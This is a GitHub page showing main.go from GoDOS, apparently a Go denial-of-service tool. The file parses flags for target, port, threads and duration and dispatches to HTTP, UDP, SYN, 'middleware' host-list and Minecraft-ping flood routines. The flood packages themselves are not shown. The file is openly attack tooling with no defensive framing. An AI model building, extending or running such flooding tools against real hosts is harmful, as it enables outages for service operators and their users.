-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
43 lines (38 loc) · 1.4 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package main
import (
"flag"
"fmt"
"os"
"github.com/cowsaymoe/GoDOS/pkg/httpFlood"
mcPing "github.com/cowsaymoe/GoDOS/pkg/mcPing"
middlewareFlood "github.com/cowsaymoe/GoDOS/pkg/middlewareFlood"
synFlood "github.com/cowsaymoe/GoDOS/pkg/syn_flood"
udpFlood "github.com/cowsaymoe/GoDOS/pkg/udp_flood"
)
func main() {
attackmethod := flag.String("m", "MCPING", "Attack method")
target := flag.String("t", "127.0.0.1", "Target")
port := flag.Int("p", 25565, "Port")
httpmethod := flag.String("ht", "GET", "HTTP method")
duration := flag.Int("d", 60, "Duration in seconds to run attack")
reqsize := flag.Int("s", 10, "Request size")
threads := flag.Int("c", 4, "Number of threads")
middlewareHosts := flag.String("mh", "ips.txt", "Middleware hosts file")
flag.Parse()
fmt.Println("Running attack on", *target, "with", *duration, "requests")
// check for attack type
if *attackmethod == "HTTP" {
httpFlood.HTTPflood(*target, *httpmethod, *reqsize, *threads, *duration)
} else if *attackmethod == "UDP" {
udpFlood.DOS(*target, *threads, *duration)
} else if *attackmethod == "SYN" {
synFlood.DOS(*target, *port, *threads, *reqsize, *duration)
} else if *attackmethod == "MIDDLEWARE" {
middlewareFlood.DOS(*target, *port, *threads, *middlewareHosts, *duration)
} else if *attackmethod == "MCPING" {
mcPing.DOS(*target, *port, *threads, *duration)
} else {
print("Invalid attack type")
os.Exit(1)
}
}